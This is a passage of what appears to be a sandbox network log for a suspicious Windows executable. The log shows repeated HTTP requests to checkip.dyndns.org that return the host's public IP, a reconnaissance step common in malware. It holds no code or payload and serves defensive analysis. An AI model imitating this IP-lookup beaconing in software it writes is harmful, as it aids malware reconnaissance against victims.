12	192.168.2.9	50001	132.226.247.73	80	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:12:18.770514011 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 23:12:19.448154926 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:12:19 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.9	50003	132.226.247.73	80	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:12:20.295130014 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 23:12:21.003470898 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:12:20 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.9	50005	132.226.247.73	80	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:12:21.973793030 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 23:12:22.674274921 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:12:22 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.9	50007	132.226.247.73	80	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:12:24.529258013 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 23:12:25.224337101 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:12:25 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.9	50009	132.226.247.73	80	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:12:26.232584000 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 23:12:26.935705900 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:12:26 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.9	50011	132.226.247.73	80	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:12:27.877578974 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 23:12:28.562705994 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:12:28 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.9	50013	132.226.247.73	80	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:12:29.449084997 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 23:12:30.129235983 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:12:30 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.9	50015	132.226.247.73	80	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:12:31.081629038 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 23:12:31.791682005 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:12:31 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.9	50017	132.226.247.73	80	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:12:32.726120949 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 23:12:33.409117937 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:12:33 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.9	50019	132.226.247.73	80	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:12:34.316557884 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 23:12:35.010158062 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:12:34 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.9	50021	132.226.247.73	80	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:12:35.911058903 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 23:12:36.591614962 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:12:36 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.9	50023	132.226.247.73	80	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:12:37.526413918 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 23:12:38.196589947 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:12:38 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.9	50025	132.226.247.73	80	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:12:39.051131010 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 23:12:39.750917912 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:12:39 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.9	50027	132.226.247.73	80	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:12:40.823911905 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 23:12:41.525806904 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:12:41 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.9	50029	132.226.247.73	80	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:12:42.375016928 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 23:12:43.047513008 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:12:42 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.9	50031	132.226.247.73	80	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:12:43.994162083 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 23:12:44.685190916 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:12:44 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.9	50033	132.226.247.73	80	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:12:45.645616055 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 23:12:46.317318916 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:12:46 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.9	50035	132.226.247.73	80	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:12:47.257117033 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 23:12:47.939408064 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:12:47 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.9	50037	132.226.247.73	80	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:12:48.893722057 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 23:12:49.585043907 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:12:49 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.9	50039	132.226.247.73	80	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:12:50.417284012 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 23:12:51.114533901 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:12:51 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.9	50041	132.226.247.73	80	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:12:52.098161936 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 23:12:52.793376923 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:12:52 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.9	50043	132.226.247.73	80	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:12:53.735686064 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 23:12:54.435216904 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:12:54 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.9	50045	132.226.247.73	80	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:12:55.293111086 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 23:12:55.965363026 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:12:55 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.9	50047	132.226.247.73	80	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:12:56.990768909 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
